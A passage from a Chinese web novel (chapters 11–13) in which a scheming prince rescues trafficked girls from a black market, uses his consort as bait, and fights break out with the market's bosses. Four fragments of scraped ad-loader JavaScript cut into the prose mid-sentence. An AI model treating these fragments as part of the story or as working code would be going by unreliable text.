“喜欢。”谢灼连忙点头,刚想往自己手腕子上套,就见白锦棠将自己的手腕轻飘飘地伸了过来。 白锦棠“嗯”了一声:“那就给我戴上吧。” 谢灼懵逼:“???” 白锦棠:“怎么不乐意?” 谢灼咬牙道:“你不是给我的吗……” “我是说买下来,可没说送你。” “那你为什么问我喜不喜欢?” “询问一下你的意见,不行吗?”白锦棠评价,“你还真是个自恋的家伙。”见谢灼不情不愿的样子,白锦棠催促道,“愣着干嘛,给我戴上啊。” 谢灼皮笑肉不笑地将手串套在白锦棠的手腕上,有些大,但出奇的好看,将那白皙的手腕,衬得越发白里透红,如秋水玉骨般。 白锦棠这才满意地坐了回去,颇有些自得,甚至还哼起了曲子,差点没把谢灼气死。 他就知道,白锦棠就是故意的! 他不过是咬了他一口,还是因为他说自己不举,结果这人马上就报复回来了,还真是小心眼! 一想到这,谢灼控制不住地往白锦棠的脖颈看去,血色的牙印如同烙印,看的人心里发热,暧昧的吻痕就落他的耳根下,星星点点,被乌黑的发丝遮掩着,若隐若现,鼻尖那股淡淡的雨后海棠的香气,似乎又燃了起来。 吓得谢灼连忙移开了眼睛,心里的火气被另一种火取代,让谢灼忍不住舔了舔嘴唇。 且等着吧,总有一日,他要咬断白锦棠的咽喉,让他哭着求饶。 接下来摆出的东西,都太过寻常,也没什么值得白锦棠放在心上的,他看着包厢内即将燃尽的熏香,闭着眼计算着时间,他看着满堂宾客,心里暗暗的想: 已经过去这么久了,也该醒了。 而另一边,张景洪的寝室内,那赤身裸体倒在床榻之上的女人,慢慢地睁开了眼睛,先是发了一 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 会楞,旋即看向了倒在地上的张景洪正死不瞑目地看着自己,喉咙里终于忍不住发出一声刺耳的尖叫声! “啊啊——” 尖叫声划破漆黑的夜空,天上的星子微微闪烁着,女人惊慌失措地穿起衣服,跌跌撞撞地往外面跑去。 “救命啊,救命啊!!!”女人泪流满面,跑出了院子,扑通跪在急忙赶来的护卫上,“楼主……楼主被人杀了!” “是宁王!是宁王杀了楼主!” 张索闻讯赶来,与之一起的还有无数看热闹的人。 那群人看着女人,好奇的不行:“这不是万花楼的花魁凤仙吗?” “哎,怎么哭成这样!我刚刚好像听见什么了,谁?宁王?!” “宁王刚刚不是进了灵玉姑娘的房门吗?” 众人的目光都被女人吸引住了,所以没人看见,万花楼有一扇窗户悄无声息地打开了一条缝隙,灵玉正淡淡地看着楼下的闹剧。 而她的手腕上,正停着一只漂亮的雪白鸽子,灵玉轻轻的抚摸过鸽子柔滑的羽毛,趁着楼下乱七八糟的混乱,将鸽子放飞了。 做完这一切,灵玉勾唇掩住了窗子。 银月卫很快就会知道这里的情况。 张索顾不得其他,直接让人将那群嫖客全部轰散,大手抓着女人的胳膊,往张景洪的房间走去,才打开门,就看见满地的鲜血,还有那没来得及恢复原样的黑市入口。 惨白的月光洒在地上,像是坟头的经幡,看的人心里发凉。 张索被凤仙的哭声闹得烦了,厉声呵斥:“别哭了,说清楚点,楼主怎么会死!此事又和宁王有什么关系!” 凤仙哽咽着,颤巍巍道:“有人……掳走了宁王妃的妹妹,将人卖进了黑市,宁王为救人就闯了内院,逼着主人说出黑市入口!最后还杀了主人,呜呜呜……宁王他……他已经入了黑市!” 张索脸色难看至极。 宁王?! 一边的侍从小心翼翼道:“宁王今日确实带了一个人,应该就是宁王妃……” 张索:“将她关起来!” 侍卫:“是!” 张景洪死了,这可不是小事! 张索咬着牙道:“快传信给那几位,务必说清楚发生了什么事情,我去看看宁王!” 说完,张索就朝着灵玉的房间而去。 张景洪被宁王杀死,彻底在万花楼传开了,让人不由得倒吸一口冷气。 而和张景洪关系好的,王宽一、孙铭几人也在第一时间得到了这个消息,带着人慌忙往万花楼去。 他们都是李青山的人,以前白锦棠足不出户,他们为了讨好上头的人,没事去搞个刺杀,弄个暗害的。现如今白锦棠竟然闹到了他们的地盘,瞧着样子,竟然是想来端锅的! 这黑市是他们财路,他们绝不能让这事轻轻松松地盖过去。 管你是天潢贵胄,还是皇亲国戚,但凡进了这黑市,不死也要脱层皮。 白锦棠可算是落到他们手里了。 只待他们先去看看情况,再给黑市的市主递个消息,来一出瓮中之鳖,定让白锦棠有去无回! 而张索,在敲了无数次门,无人应答的时,直接一脚踹开了灵玉房门。 昏暗的房间里,灵玉倒在地上,身边的琵琶弦断了好几根,上面被鲜血染红,张索走了过去,探了探脉搏。 被人弄晕了。 11. 风雨前夕 “时辰到了。” 白锦棠站起身来,右手习惯地摸上了那串檀木手串,摩挲着上面的珠子。 “什么?”谢灼疑惑抬头,心里涌出一种不好的预感。 白锦棠道:“我们该走了。” 确实,他们身份敏感,在黑市多留一会,就多一分的危险,事情办完了,他们应该立刻离开,可是谢灼却觉得事情没这么简单。 小厮听见白锦棠这般说,也不多问,谄媚道:“下面的东西也都是一些无聊俗物,公子若急着走,小的先带公子去看看那些奴隶,等交完钱,再让人给公子送过去,您看这样如何?” “先去看看吧。”白锦棠拿着花名册没拒绝,也没答应,“带路。” 小厮连忙应道:“好嘞,公子您这边请。” 小厮带着白锦棠走下了楼,到了关押奴隶的地方。 衣衫褴褛的少女,手脚皆缠着镣铐,如同牲畜一般,被关在窄小的笼子里,眼神中全是绝望。 谢灼一眼就看见了翠云,但碍于现在的状况,一声不吭,眼神越发冰冷。 “人都在这里了,总共十一位姑娘。”小厮打开笼子,示意白锦棠去看,“公子,您觉得呢?” 白锦棠翻着花名册,看着上面的画像,和姑娘们的脸一一对应,确定无误以后,顺手将花名册丢给谢灼,从怀里掏出来一打厚厚的银票,足足十万两,比刚刚说定的价格还要高上些许。 旁边管事的眼睛都直了,只觉得白锦棠浑身上下都泛着属于财神爷的盛大光辉,他数数了那些银票子,在确定无误以后,立马狗腿表示: “公子豪爽!这些姑娘,可要我等给您送过去?” 白锦棠眉眼弯弯,声音清润如二月柳拂水而过,清脆悦耳:“这些姑娘,我瞧着甚是喜欢,打算亲自带走,你们现在将她们放出来吧。” 管事的有些迟疑:“不瞒公子,这些奴隶也没调教过,两位公子金尊玉贵,万一路上出些意外,伤到可怎么是好?” 白锦棠颔首:“说来也是。” 管事的提建议道:“要是公子实在是喜欢,不妨先带走两个解闷,剩下的明晚之前,必定送到公子府上。” “好建议。”说着,白锦棠扭头看谢灼,十分亲昵地问道,“你觉得呢,哥哥?” 谢灼心口一紧,猛地看向白锦棠,却见人正笑意盈盈地瞧自己,这声哥哥叫的好生自然,猫尾巴一样扫过谢灼的心尖尖,痒得不行,他抿了抿唇,故作矜持道:“都听你的。” 白锦棠错了开身子,示意谢灼先选:“那哥哥选一个吧。” 先不说他们自身难保,就是亲疏远近在那里摆着,谢灼还不会善良到选别人,丢了自己的姐姐,谢灼指着角落里的翠云:“就她吧。” 白锦棠颔首,指着瑟瑟发抖,眼含泪花的凌灵:“那我就要她吧。” 管事的一招手,马上就有大汉开了笼子的大门,想要将人直接扯出来,可却被白锦棠喊停了。 “公子?” 只见白锦棠一脸责怪地看着他们,声音颇有些恨铁不成钢:“这可都是美人,说不定哪一日,就做了我的夫人,成了主子,你们这群人丝毫不懂怜香惜玉,实在是不讨人喜欢。” 财神爷都发话了,管事的那只有附和的份,连忙道:“您说的对,说的对。”说完,朝着旁边的人吹胡子瞪眼,命令道,“愣着干什么,还不赶紧起开,公子要亲自来。”说完,直接将钥匙夺了过来,双手奉上。 白锦棠很满意管事的识相,将钥匙接过来,进到了牢笼里,先将翠云解开了。 翠云没说话,眼神一直落在谢灼的身上。 她认出了谢灼。 毕竟那面具不大,只遮住半张脸,身形也没伪装,声音更是熟悉,翠云能认出来才是情理之中,所以白锦棠并不担心。 他又移到了凌灵的面前。 白锦棠心里微微叹息,他已经八年没见过这个小姑娘了。 一枚戒指被白锦棠故意袒露在凌灵面前,让凌灵瞳孔紧缩,下意识地看向白锦棠,却撞进了白锦棠熟悉的眼眸中,像是安抚,还朝着凌灵眨了眨眼睛。 这戒指,是白锦棠离开京都时,凌灵送给白锦棠的,上面还有缠枝的海棠。 凌灵心神恍惚,但如今不是解惑的好时机,于是任由白锦棠隔着衣袖,握着自己的腕子,走了出去。 无论是翠云还是凌灵,都是极聪慧的姑娘,即使认出来面前的人是自己的亲人,也保持着冷漠的样子,站在一边,安静地听着白锦棠和管事的周旋。 管事的阿谀奉承:“两位公子好眼光!” “承蒙千金阁,才让本公子找到了心仪的美人。”白锦棠的扇子敲了敲笼子,看着立马惊慌失措的少女道,“好生送到我府上,莫要亏待了她们,届时另有答谢。” 管事的:“好嘞好嘞,您放心!” 白锦棠满意点头,对谢灼道:“既然如此,我们也走吧。” 谢灼点头:“好。” 管事的:“我送二位,二位慢走!” 出了千金阁,几人都肉眼可见地放松下来。 凌灵刚想说话,白锦棠却停下了步子,看着凌灵欲言又止的样子,白锦棠安抚地拍了拍她的肩膀,叫住了谢灼:“先停一下。” 谢灼:“什么?” 对待谢灼,白锦棠神色冷峻,没了刚刚如沐春风的样子,淡淡吩咐道:“你带着她们两个出去,我还有事情要去做。” 谢灼蹙眉:“你去做什么?” 白锦棠语气不容置疑:“你不需要问,你只需要听从命令就好。” 谢灼眯了眯眼睛,没吭声。 凌灵有些害怕:“锦哥哥?” 面对凌灵的时候,白锦棠才有了笑容,安慰道:“等我回来。” 说完,白锦棠就要往相反的地方走,凌灵下意识地去抓白锦棠的衣袖,低声道:“锦哥哥,你不会把我丢下的对吗?” 白锦棠摸了摸凌灵的脑袋,揉了揉,神色宠溺:“当然。” 音落,他又最后看了一眼谢灼。 谢灼心口一紧,想说话,却没了机会。 凌灵指尖的衣袖如流水一般离开了,而白锦棠的身影,也迅速没入人群之中,眨眼间就没了踪迹。 谢灼看着这郎情妾意的一幕,一口银牙都快咬碎了,心里莫名的发酸,还有点嫉妒。 呵,刚刚还一口一个哥哥的叫着。 才出来没多久,就变成其他人的情哥哥!还当着自己的面叫,白锦棠是不是忘记了,自己好歹也算是他夫人! “二牛?”翠云皱着眉,不解地看着谢灼。 谢灼立马从自己的想法中回神。 呸,自己刚刚在想什么玩意。 什么狗屁夫人,这招蜂引蝶的毒夫也配! 谢灼低声道:“我们出去再说。” 凌灵听见谢灼这样说,只得收回目光,默默地跟在谢灼的身后。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 谢灼带着两人往出口那边走,看着周围来来往往的人,又看了眼怅然若失的凌灵,状若无意地随口问道:“你和他是怎么认识的? 凌灵错愕:“啊?” 谢灼“啧”了一声,又问了一句:“你刚刚叫他锦哥哥?” 凌灵这才反应过来,谢灼嘴里的那个他,指的是白锦棠,于是乖巧地点头:“嗯。” 谢灼皮笑肉不笑道:“那你的锦哥哥告诉你,他娶妻了吗?” 凌灵瞳孔震惊:“啊?怎么可能!” 谢灼很喜欢凌灵这个表情,一副为凌灵着想的表情,安慰道:“哎,你要明白,毕竟到了他这个年纪,若是不娶妻是万万不可的,你年纪还小,不懂很正常。” 旁边的翠云若有所思地看着谢灼。 谢灼嫁进王府的事情她是知道的,刚刚那个人非富即贵,名字里又带了个锦字,若她没猜错的话,应该是宁王本尊无疑。 凌灵眨了眨眼睛,低声道:“可是锦哥哥以前和我说过,他不会喜欢上任何人,也不会和别人成婚。” “那是因为他没遇见真爱。”谢灼慢悠悠道,“男人就是这样,在没遇见真爱之前,就喜欢嘴硬,所以,千万别当真。” “哦。”凌灵撅了撅嘴,有些不开心了,声音也闷闷的,一边走,一边踢着路上的石头,百无聊赖。 等走了一会,凌灵像是认命一样,又问:“那嫂嫂长得好看吗?” 谢灼大言不惭:“俊美无双。” 翠云:“……” 凌灵有些不解:“为什么俊美无双,不是倾国倾城?” 谢灼颔首:“也可以这么说。” 翠云:“……” 凌灵:“那应该很好看吧?怪不得锦哥哥喜欢。” 谢灼还准备再说话,却被翠云隔着衣袖狠狠地掐了一下,谢灼吃痛,扭头就见翠云震惊地看着自己:“二牛啊,我现在终于相信你当初说的话了,当真是真爱啊。” 当初谢灼为了能让翠云收下自己那笔卖身费,远走高飞,曾对翠云信誓旦旦表示: 他对白锦棠一见钟情。 此去王府深似海,他必定将宁王迷的神魂颠倒,就此飞上枝头变凤凰。 谢灼:“……” 凌灵看着两个人诡异的交流:“什么真爱,比锦哥哥和嫂嫂还真爱吗?” “……”谢灼不吭声,闭嘴了。 凌灵:“你见过我嫂嫂?” 翠云握着凌灵的手,轻声道:“等出去后就见到了。” 凌灵乖巧点头:“好的,姐姐。” “等一下。”前面的谢灼却在刺客停住了脚步。 他的脸色变得难看至极,如利剑一般的目光扫过面前的人群,青面獠牙的面具上,若有若无的注视,乱七八糟的摊子前,那些穿着黑衣的人,游走穿行在人群之中,悄无声息地从四面八方而来,朝他们围了过来。 他们的脚步声很轻,身体很敏锐,紧绷的肌肉蛰伏着,就算极力压制自己,那沉闷的气氛还是降临在了人群里。 这是来自于,暴风雨的前夕。 谢灼好像明白了白锦棠为什么留下凤仙这个活口,还故意在凤仙面前暴露身份,表明来意,又在刚刚突然离开了。 才不是心慈手软,而是要用他们做诱饵,声东击西,祸水东引,自己好抽身离去。 白锦棠,还真是好手段啊! 果然心狠手辣,心思歹毒! 12. 千钧一发 千金阁内。 “你们说,张景洪死了?”黑市市主裹着厚重的黑袍,坐在主位上,看着自己的几个手下,声音嘶哑阴沉,没有丝毫的起伏,却将王宽一几人吓得瑟瑟发抖。 王宽一支支吾吾道:“老……老大,我们也是没想到,宁王竟然会为了那个才过门没几天的王妃,先是杀了自己的老丈人,又胆大包天闯了万花楼,杀了张景洪,还进了黑市!” 旁边的孙铭吓得吞咽口水,一边附和,一边为自己开脱:“不过老大你放心,黑市这么大!白锦棠他们肯定还没来得及离开,我们在得知消息后,立马就赶回来了,刘圩也带着人去堵了。” “是吗?”黑市市主冷笑,指着二楼的房间,“知道那里吗?”从他们的位置正好可以看见二楼的包厢,以及立马空荡荡的桌椅,和被人随手放在一边的杯子。 这个问题不像表面上这么简单。 孙铭腿脚发软,结结巴巴道:“那……那是千金阁位置最好的房间……” 不仅位置是最好的,价格也是最贵的,里面的茶水点心更是天价。 “你们还知道啊!”黑市市主冷笑,“白锦棠早几百年就到了黑市,就坐在那里豪掷千金,将人光明正大地救走了!” “你们平时不是斗的挺欢吗?一会安插个眼线,一会又搞个杀手,恨不得捅死对方,如今人真的死了,怎么就什么也不知道了?” 他们因利而合,又因利益背刺对方,无时无刻不想其他人死,尤其是万花楼这块香饽饽,他们觊觎已久。 所以在得知出事后,三人马不停蹄地赶来,想要分一杯羹。 可没想到羹没吃到,却因为白锦棠这个硬菜,差点噎死。 张景洪死了,宁王进了黑市,黑市不再安全,这后果要活人来背,黑市市主的怒火也要有人承担,可王宽一和孙铭却不愿意背。 孙铭“扑腾”跪了下来,膝行爬向市主:“老大,老大,这真不怪我们啊!万花楼人多眼杂,张景洪向来小肚鸡肠,不让我们插手,生怕我们抢了他的财路,才出了这样大的差错!我们冤枉啊!” 王宽一也开始嚎起来:“老大,我们尽力了!谁知道张景洪那货没骨气,不仅死了,还把黑市的入口给爆了出来!” 无论事实怎么样,把责任往死人身上推,总没错! 孙铭:“是啊,老大,张景洪此人色欲熏心,如今又犯了这样大的错,死不足惜!我们定不会重蹈覆辙,一定将这件事情解决,绝不留下后顾之忧。” 王宽一哭求:“老大,看在我们多年的情分上,我们愿意将功补过!定然将白锦棠他们给您抓回来!” 两个人说完,直往地上磕头,而市主坐在板凳上,还盯着那早就人去楼空的房间,也不知道在想些什么。 市主:“张景洪确实废物,千刀万剐,死不足惜。” 王宽一和孙铭不敢应答,不吭声。 黑市市主又道:“既然你们都这么说了,我给你们一个机会,将白锦棠活捉,带回来见我!” 王宽一孙铭心里松了一口气,齐声:“是,我们这就去。” 两个人如释重负,连忙朝外面走去,心里开始骂刘圩就是个老狐狸,竟然干脆不来见市主! 两个人目光阴鸷,想着怎么从刘圩手上抢功劳时,又被市主叫住了,两个人面色一僵,讪讪道:“老大?” 市主:“白锦棠没有怀疑到你们头上吧?” 王宽一连忙否认:“绝对没有!” 孙铭:“是啊,老大!我们都没和白锦棠打过照面,他甚至都不认识我们!” 市主:“这样啊。” 王宽一小心翼翼问:“老大,您……怎么会这么想?” 市主:“我只是觉得太巧了。” 市主瞥了一样几人,“把白锦棠抓住以后,好好的查查你们身边的人,我不希望张景洪这样的事情出现第二次,明白吗?” 王宽一和孙铭连忙点头:“懂懂!我们回去就查!” 这边的千金阁闹得人仰马翻,而谢灼那边也是水深火热。 那些杀手不断地朝着他们靠拢,凌灵和翠云也发现了端倪,身体不由得紧绷,尤其是谢灼,唇抿得紧紧地,脸色格外苍白。 翠云低声道:“有人追过来了,对吗?” 凌灵的手下意识伸进自己的袖子里,按着那里的物件,这是白锦棠走之前给她的千机弩,专门让她防身来着。 没想到,这么快就派上了用场。 她的锦哥哥还真是神机妙算啊。 谢灼眼里闪过血光,低声回应:“对。” 千钧一发之际,翠云一个农家姑娘出奇的平静,她撸起衣袖,对旁边低头发呆的凌灵嘱咐道:“待会躲我身后,我保护你。” 凌灵:“嗯嗯。” 谢灼恨不得咬碎一口银牙,现在他一想起白锦棠走之前那副“你好自珍重”的表情,他就浑身疼,只怪自己口下留情了,当初就应该在万花楼咬断他的脖子! 而刘圩见几人停下来,也料到可能是暴露了行踪,他朝着那些人摆了摆手,示意可以动手了。 也不知道是谁腰间的冷剑被人率先拔了出来,只见寒光一闪,方才还算和谐的街道立马混乱成一片,杂乱的脚步和此起彼伏的叫声混在一起,无数冰冷的刀刺了过来! 甚至有些,直逼谢灼的面门! 谢灼腰间的软剑如灵蛇一般在空气中游走,面对这些刀光剑影丝毫不惧,空气几乎要被软剑撕裂,以一种极为刁钻的角度将那群人手里的兵刃悉数挑落,身形一晃,如同鬼魅,眨眼便到了那些人面前,将人割了喉咙。 “拿着!”谢灼用剑尖挑起掉落的长剑,向翠云投了过去。 翠云握住长剑,挡在凌灵的面前,虎视眈眈地看着那群人。 王汉三一直都混蛋的不行,从小对翠云非打即骂,翠云脾气倔,忍不下这口气,即使每次反抗都会引得王汉三更残暴的虐待,但她从来不会屈服,久而久之,也琢磨出来一些打架的诀窍。 奈何,始终是野路子,不得章法,况且还是这么多人,打起来实在是狼狈,没过一会就挂了彩。 要是不失忆还好说,如今的谢灼内力使不出以前的一半,再厉害,也不可能在这么多人的情况下护住他们两个。 鲜血喷溅,尸体横陈,看的凌灵脸色一白,小脸紧紧绷着。 “噔!!!”翠云手里的剑被打落在地! 无数人朝着翠云涌来,而另一边的谢灼,已经和刘圩对上了,根本分身乏术! 刀光照在翠云的脸上,就在翠云下意识闭上眼睛时,凌灵脸色苍白,下意识地举起手腕上的千机弩,那密如牛毛的针瞬间撂倒一大片人。 谢灼和翠云顿时一惊。 凌灵则是扶住了翠云,千机弩对着不敢往前来的刺客。 而谢灼拼着全部的力气,将软剑刺进了刘圩的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 胸膛,然后狠狠一脚踹在刘圩的肚子上,将人送出几米远。 刘圩身子砸在旁边的古董摊子上,古董瓷器稀里哗啦的碎了一地。 其他人见此,便更不敢乱动了,眼中出现迟疑。 谢灼微微喘气,退到翠云和凌灵面前。 翠云捂着手臂上的伤口,低声问道:“我们是出不去了对吗?” 谢灼没吭声,事情暴露,各个出口必定有所防备,他们不可能从原先的万花楼出去,如今这种局面,就算他武功卓绝,将刘圩抓住了,逼问出其他出口,想必出口也早有人守株待兔。 他不知道白锦棠在算计什么,但唯一能救他们的人,定然不会回来了。 因为他们是鱼饵,已经被放弃了。 “一定会有办法的。”谢灼不愿告诉他们,只能如是道。 而刘圩已经被人扶了起来,他打量着谢灼,捂着心口咳嗽道:“你不是宁王!” 宁王深居简出,没多少人见过,但毕竟是天潢贵胄,那浑身的气质也不是谁都能模仿出来的,偏偏这人是谢灼,刘圩还真就认错了。 “你是……你是宁王才娶得那个王妃?!”刘圩总算是认出来了。 谢灼将脸上的面具扯了下来,手指慢条斯理的擦过下巴上的血迹,嘴角甚至还带着一抹笑意,冷笑:“实话告诉你吧,白锦棠早就跑了,我们不过就是放出来的诱饵,你与其在这里和我们较劲,还不如趁现在去搜黑市,再晚人就跑了。” 刘圩嗤笑:“你以为我会相信?谁不知道宁王喜欢你喜欢的不得了,又是替你报仇,又是为你杀人的,甚至单枪匹马就敢入黑市!他怎么可能抛下你?” 谢灼心里嗤笑! 狗屁报仇! 白锦棠那厮从始至终就没有安好心,故意用他当挡箭牌,对他好是做给人看的,好让人把目标转移到自己身上。 “他若是真喜欢我,会把我们丢下,一个人走了?!”谢灼反问。 刘圩固执己见:“等我把你抓到,将刀架在你的脖颈上的时候,我就不信宁王不出现!” 话音刚落,黑市又涌来一大队的人马,只见王宽一和孙铭已经带着自己的人赶到了现场,看着刘圩狼狈的样子,两个人心中暗喜。 来得早不如来得巧,真是刚刚好啊! 孙铭幸灾乐祸道:“我说刘老弟啊,怎么受伤了?那就好好歇着吧,让我来替你解决眼前这个大麻烦吧!” 王宽一从鼻子里哼出气来:“还是老规矩,三对人,一起开始,谁先抓住,功劳就归谁,这些人就交给谁处置!” 若刚刚是开胃菜,那现在才是真正的大菜。 这三对人乌泱泱一片,将他们团团围住,密不透风。 刘圩三个人相互看了一眼,复又落在谢灼身上,如同看见了肥肉的狼,虎视眈眈,几乎快要留下垂涎。 扶着翠云的凌灵都快哭了。 “现在怎么办啊?锦哥哥会回来救我们吗?” 现在那病秧子来了也没有用。 谢灼轻笑出声,声音凉凉的,在负隅顽抗和同归于尽之间,选择戳凌灵心窝子:“你现在知道你情哥哥是个什么样的人了吧?吃人不吐骨头的王八蛋!” “姑娘家家的,眼睛就该擦亮一点,免得遇见一些混球。” 凌灵咬了咬唇,没说话。 生死存亡的危急关头,还能说出这样的话,翠云忽然对自己弟弟有些佩服。 13. 英雄救美 千金阁旁的一处不起眼的小茶摊上,白锦棠就坐在那里。 面具被他随手丢在一边,手里端着一杯冒着热气的茶水,他微微垂眸,细细地品尝着,明明是路边最廉价的茶水,白锦棠却喝的津津有味。 手指一下一下在桌子上敲着,他就这样,眼睁睁地看着王宽一和孙铭带着人从千金阁出来,气势汹汹地往方才谢灼离开的方向而去,这才停下了手里的动作。 时候到了。 白锦棠将面具从新戴在脸颊上,趁着这一阵的骚乱,站起身来,拿着买奴隶临走时,管事的给他的通行令牌,光明正大地进了千金阁。 前世的时候,这座几乎挖空半个青州城的地下城暴露天光之下,一度引得人议论纷纷,就连他也曾因为好奇,进来看过。 不像上次,白锦棠这次目标格外明确。 他要去黑市市主的寝卧,那里面的机关巧术,白锦棠至今记得还算清晰,倒也不难。 只不过要委屈一下谢灼了,希望那家伙能多撑一会,也不枉费自己折腾了这么久,将千金阁的人悉数调出去了。 只剩下一个空壳子。 至于这黑市市主,不好意思,他还真没有放在心上。 毕竟只是一个会点三脚猫功夫的蠢货。 而另一边,正躺在美人榻上的黑市市主总觉得心里有些不踏实,事情没这么简单。 白锦棠天潢贵胄,堂堂王爷,对一个冲喜的王妃爱的死去活来,拼着一副病弱的身体就敢来招惹自己,这不是作死吗? 何况,要是真爱,白锦棠怎么舍得让心上人跟着自己来冒险的?然后搞出这么大动静? 这简直就是荒谬啊。 市主脸色一白,乱哄哄的脑子忽然灵光起来,只剩下一个念头,那就是,他可能上当了! “来人啊!”市主冷汗直冒,连忙站起身来,就要走到门口去喊人。 双手才打开门,隐隐约约看见一个人影,市主刚想说话,就被那人猛地往后推了一把! 市主摔在地上,房间大门被人“嘭”地关上,一道残影掠过,下一刻,一只骨节分明的手扼住了他的脖颈,将他即将喊出来的声音扼杀在喉咙里。 “好久不见,市主。”白锦棠手下力道十分凶狠,偏偏脸上云淡风轻,他低声询问,“客人到访,你却要走,这是不是不太礼貌啊?” “你……”市主一脸的惊恐,似乎在问,白锦棠为什么会在这里,矮小的身子被白锦棠提了起来,脚尖费力地踮着。 “唔呜……” 眼看着市主都快翻白眼晕过去了,白锦棠这才大发慈悲的动了手。 市主跪在地上,大口喘息,嗓子疼火辣辣的疼,惊恐地看着白锦棠:“你……你怎么会在这里?!” 白锦棠一脸嫌弃地看着衣袖上喷溅的血滴,如同红梅一般绽开,白锦棠一脸无奈道:“阁主架子不小,一般人还真见不到,本王只能用些非常手段了。” “怎么可能,你怎么进来的……” 市主不喜欢房间里有人,千金阁的最高层就是他的卧房,而他的人都守在外面。现如今,都被白锦棠悄无声息地杀了,连一点动静都没有。 “这还要多亏你把人全调走了,就留下几个废物。” 市主:“你到底想要做什么?只要你放了我,我什么都给你!” 白锦棠居高临下地看着他,来了兴趣:“行呀。”随即命令道,“打开你的密室,我要看。” “好说好说。”市主缓过来以后,从地上站了起来,喜笑颜开,仿佛忘记了所有的不愉快,招呼着白锦棠,“王爷,您早说嘛,可莫要伤了和气,您快请跟我来,我这就为您打开密室。” 白锦棠当真跟了过去,染血的匕首收进鞘里:“好啊。” 转身的刹那,市主眼里闪过怨毒,他带着白锦棠进了内室,来到一个雕花的古董架架子旁边,“王爷,我的密室就在这里,您往前走几步。” 白锦棠听话地往前走了几步。 只听“咔哒”一声,卧室的墙壁上忽然多出几个黑色的小孔,紧接着,无数暗器朝着白锦棠射了过来! 意外来的太快,几乎不给人反应,市主猛地往古董架后面退去,却不料白锦棠的速度更快!一把将人抓住,不顾市主的挣扎,毫不犹豫地将市主拎小鸡似的放在身前,当成一个完美的人肉盾牌。 紧缩的瞳孔里,全是惊惧,他几乎是眼睁睁地看着那些暗器扎进他的身体,被身上的软猬甲挡在外面,暗器叮叮当当地落在地上。 暗器用尽,白锦棠松开市主,嗤笑:“倒是命大。” 市主的腿吓软了,哆哆嗦嗦地瘫在地上:“这是个意外……真的是个意外,王爷,您再给我一次机会……我一定不害你……” 白锦棠冷笑:“可是我不信你了,这可怎么办啊?” —————— 半个多时辰了,那群人铁了心的要活捉他们,一波接一波地和谢灼打车轮战。 “小心!”随着翠云一声惊呼,谢灼的腰腹被一把长剑刺入,凌厉的凤眸猛地看向大喜过望的王宽一! 其余人见此,从谢灼身体两侧奔来,试图架住了谢灼的两条胳膊,谢灼看着面前喜形于色的王宽一,任由长剑贯穿了自己的身体,随着距离的拉进,谢灼扼住了王宽一的脖颈! 孙铭和刘圩一惊,王宽一的手下更是不敢轻举妄动,束手束脚地站在一边。 翠云和凌灵连忙跑到谢灼身后,生怕他们钻了空子。 此时的谢灼少见的狼狈,身上大大小小的伤痕不计其数,将那一身月白色的衣衫染的漂亮极了,反观翠云他她们,却被保护的极好。 “诸位,千万别动,要是再轻举妄动,我就割了他的喉咙!” 孙铭冷笑:“那你就把他杀了。” 刘圩凉凉道:“放心吧,王老哥,我们会为你报仇的!绝对不让你白白牺牲,还有市主那边,我们也会帮你去说的!” 被劫持的王宽一那是又惊又怕,听了这话,被气得眼前发黑,他几乎是吼出来的:“张景洪死了,孙铭,王宽一,你们就不怕下一个就是你们吗?!你们敢这样对我!” 可惜了,孙铭和刘圩才不在乎。 他们不怕死的人多,他们就怕人死的少,最好连市主也一起死了。 反正生意和谁不是做?没了张景洪,还有千千万个人顶上。 他们眼神如此厚颜无耻,就连两个小姑娘都看出来了,有些紧张地询问道:“我们该怎么办?” 谢灼哪里知道? 如今大概真的只能听天由命了。 谢灼没回答,他面不改色,一贯的冷静,嗤笑:“我说王大善人,你这人缘不怎么样啊,现在就连他们也想杀你,你不说些什么,让他们改个主意?” 王宽一讪笑:“王妃娘娘,您大人有大量,饶了我这一回吧,把我放了,我保证不伤害您,还会全须全尾的放您离开黑市,您看怎么样?” 谢灼:“好啊,那你现在让你的人,先将他们两个杀了?” 王宽一犹豫了。 谢灼冷哼:“他们杀你时可没你这么妇人之仁。” 几个人可谓是各怀鬼胎,尤其是孙铭和刘圩难得站在一起,他们对视一眼,诡谲涌动之间,几乎是同一时间,下达命令:“给我上!” “有胆子就让他杀了王宽一 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' !” 这下子王宽一彻底慌了,张着手臂大叫:“给我拦住这两个畜生!” 场面再次混乱起来,不同的是,这次是王宽一的人和孙铭与刘圩的人打了起来。 但显然,王宽一的人数并不站优势,武力值也平平无奇,没过一会,王宽一的人都被处理干净了。 孙铭:“王妃娘娘,怎么还不动手?” 刘圩:“你威胁不了我们!” 谢灼脸色苍白,手下用力,不再给王宽一说话的机会,干脆利落地抹了王宽一的脖子,鲜血喷溅,洒了谢灼一脸。 他看着腹部的冷剑,冷笑一声,将剑拔了出来,然后随意至极地撕开自己的袖子,用布将那伤口紧紧地缠住了。 “那就来打吧。”双眸血红,犹如一头绝境中的困兽,又像是狼王最后的嘶吼。 翠云眼圈红了:“别打了,你会死的!” 凌灵也有些哽咽,哭着喊着:“锦哥哥你怎么还不回来,他这么厉害,肯定能救我们的,呜呜,锦哥哥你在哪?” 谢灼满是鲜血的手握紧剑柄,努力控制自己颤抖的手臂,和因为失血过多变得麻木冰冷的身体,对凌灵的话十分不屑:“那个王八蛋,早就跑了……” 孙铭和刘圩有了谢灼的前车之鉴,不敢靠近,他们打了个手势,打手们一拥而上! 四面八方而来,如同一张密不透风的大网,要将谢灼罩在其中! “铿锵!” 忽然! 一道雪白的剑光划破了天空,硬生生破开一道缺口,刀光剑影中,谢灼感觉自己被包围圈里拽了起来,身体被人揽着凌空一跃,再落地时候,已经离包围圈十米开外了。 锦衣华服的俊美公子搂着谢灼的腰,笑的温柔多情,调侃道:“我说夫人,不知道背后不能说人坏话的吗?因为会被听见的哦。” “白锦棠!”孙铭和刘圩大喜过望。 